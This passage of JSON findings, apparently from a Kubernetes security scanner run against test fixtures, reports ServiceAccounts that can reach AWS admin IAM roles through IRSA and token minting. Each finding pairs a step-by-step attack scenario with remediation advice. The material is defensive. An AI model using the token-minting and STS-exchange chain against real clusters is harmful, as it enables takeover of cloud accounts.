      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/cloud-eks-test/eks-admin-irsa:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.6,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/cloud-eks-test/eks-admin-irsa` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (1 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "eks-admin-irsa",
      "namespace": "cloud-eks-test"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cloud-eks-test/eks-admin-irsa` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/cloud-eks-test/eks-admin-irsa`.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "irsa_assume_role",
      "hop_count": 1,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `arn:aws:iam::123456789012:role/AdministratorAccess` that enables the first hop (`ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `arn:aws:iam::123456789012:role/AdministratorAccess` that enables the first hop (`ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/cloud-eks-test/eks-token-minter:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.45,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/cloud-eks-test/eks-token-minter` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/cloud-eks-test/eks-token-minter` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa\n  2. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "eks-token-minter",
      "namespace": "cloud-eks-test"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cloud-eks-test/eks-token-minter` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/cloud-eks-test/eks-token-minter`.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-token-minter`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/cloud-eks-test/eks-admin-irsa`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/cloud-eks-test/eks-token-minter` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/cloud-eks-test/eks-token-minter` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-token-minter",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa",
        "source_binding": "eks-token-minter",
        "source_role": "eks-token-minter",
        "binding_namespace": "cloud-eks-test"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/rbac-fixtures/sa-token-create:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.45,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa\n  2. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/rbac-fixtures/sa-token-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/cloud-eks-test/eks-admin-irsa`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount cloud-eks-test/eks-admin-irsa",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/rbac-fixtures/sa-token-create:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.45,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount cloud-eks-imp/imp-irsa\n  2. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/rbac-fixtures/sa-token-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/cloud-eks-imp/imp-irsa`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
